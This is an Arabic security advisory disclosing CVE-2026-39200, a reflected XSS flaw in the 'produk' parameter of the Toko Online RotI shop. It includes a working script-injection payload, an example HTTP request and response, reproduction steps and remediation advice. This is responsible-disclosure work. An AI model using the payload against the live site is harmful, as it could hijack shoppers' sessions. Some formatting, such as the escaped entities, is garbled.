
يتم نسخ قيمة معامل الطلب `produk` إلى قيمة سمة لوسم HTML تكون محاطة بعلامات اقتباس مزدوجة. تم إرسال الحمولة `xbnw0"><script>alert(1)</script>skc2h` في معامل `produk`. وتمت إعادة عرض هذا الإدخال على الشكل `xbnw0\"><script>alert(1)</script>skc2h` في استجابة التطبيق.
تم تحديد ثغرة برمجة نصية عبر المواقع (XSS) انعكاسية في معامل الطلب produk في تطبيق الويب Toko Online RotI. يفشل التطبيق في ترميز HTML للمدخلات المقدمة من المستخدم قبل انعكاسها داخل سمة وسم HTML محاطة بعلامتي اقتباس مزدوجتين. يمكن للمهاجم إنشاء عنوان URL خبيث، وعندما يزوره ضحية، يتم تنفيذ JavaScript عشوائي في سياق جلسة متصفح الضحية.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-39200 |
| نوع الثغرة | CWE-79 — تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب (XSS انعكاسية) |
| المنتج المتأثر | Toko Online RotI (متجر إندونيسي عبر الإنترنت) |
| المعامل المتأثر | produk |
| المكتشف | Uzair Ali (r00tali) — مختبِر اختراق / صياد ثغرات أمنية |
| تاريخ الاكتشاف | 2026-07-03 |
| تاريخ تخصيص CVE | 2026-07-12 |
| تاريخ نشر الاستشارة | 2026-07-19 |
يتم نسخ معامل الطلب produk حرفيًا إلى قيمة سمة وسم HTML محاطة بعلامتي اقتباس مزدوجتين. نظرًا لأن التطبيق لا يقوم بترميز HTML للمدخلات المقدمة من المستخدم قبل انعكاسها، يمكن للمهاجم الخروج من السمة عن طريق إرسال حمولة تحتوي على علامة اقتباس مزدوجة إغلاق متبوعة بحمولة HTML/JavaScript.
xbnw0"><script>alert(1)</script>skc2h
عند إرسال هذه الحمولة كمعامل produk، يعيد التطبيق إرجاع المدخلات في الاستجابة دون ترميز. تُنهي "> الإغلاقية السمة الأصلية، ويتم تفسير كتلة <script>alert(1)</script> المحقونة من قبل المتصفح كعنصر HTML جديد، مما ينفذ JavaScript عشوائيًا في جلسة المستخدم.
تبدو استجابة HTML القابلة للاستغلال كما يلي:
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk داخل سمة HTML (مثل صفحة بحث المنتجات أو التفاصيل أو الفلترة).produk بالحمولة التالية:
xbnw0"><script>alert(1)</script>skc2h
" وإنشاء عنصر <script> صالح في DOM.alert(1)، مما يؤكد تنفيذ JavaScript عشوائي في جلسة الضحية.يسمح الاستغلال الناجح لهذه الثغرة الانعكاسية XSS للمهاجم بـ:
نظرًا لأن الثغرة انعكاسية، فإن الاستغلال يتطلب فقط قيام الضحية بالنقر على رابط مصمم، مما يجعل من السهل تسليحها في حملات التصيد.
CVSS v3.1 (تقديري): 6.1 (متوسطة) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
لمعالجة هذه الثغرة، يجب على المورّد:
<, >, ", ' و & (مثل <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) أو صيغة <%: %>{{ input }} (يتم الترميز تلقائيًا افتراضيًا)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly و Secure على جميع ملفات تعريف الارتباط للجلسة لمنع JavaScript من قراءتها.produk مقابل قائمة السماح (allow-list) لمعرّفات المنتجات المتوقعة (أرقام تعريفية، slugs، إلخ) ورفض أي شيء لا يطابقها.X-Content-Type-Options: nosniff لمنع فحص نوع MIME لأجسام الاستجابة.| التاريخ | الحدث |
|---|---|
| 2026-07-03 | تم اكتشاف الثغرة أثناء اختبار أمني مصرح به |
| 2026-07-03 | تم طلب معرف CVE من MITRE عبر cveform.mitre.org |
| 2026-07-12 | تم تخصيص CVE-2026-39200 من قبل فريق التخصيص في MITRE |
| 2026-07-19 | تم نشر الاستشارة علنًا |
** Uzair Ali (r00tali)** — مختبِر اختراق / صياد ثغرات أمنية / باحث أمني
تم نشر هذه الاستشارة لأغراض تعليمية ودفاعية فقط. تم الإبلاغ عن الثغرة من خلال عملية الإفصاح المسؤول عبر فريق تخصيص CVE في MITRE. لا يتم الكشف عن أي معلومات سرية للمورّد أو بيانات عملاء أو كود مملوك. يستخدم إثبات المفهوم حمولة alert(1) غير ضارة ويهدف إلى إظهار وجود الخلل، وليس تسهيل الهجمات على الخدمة الحية.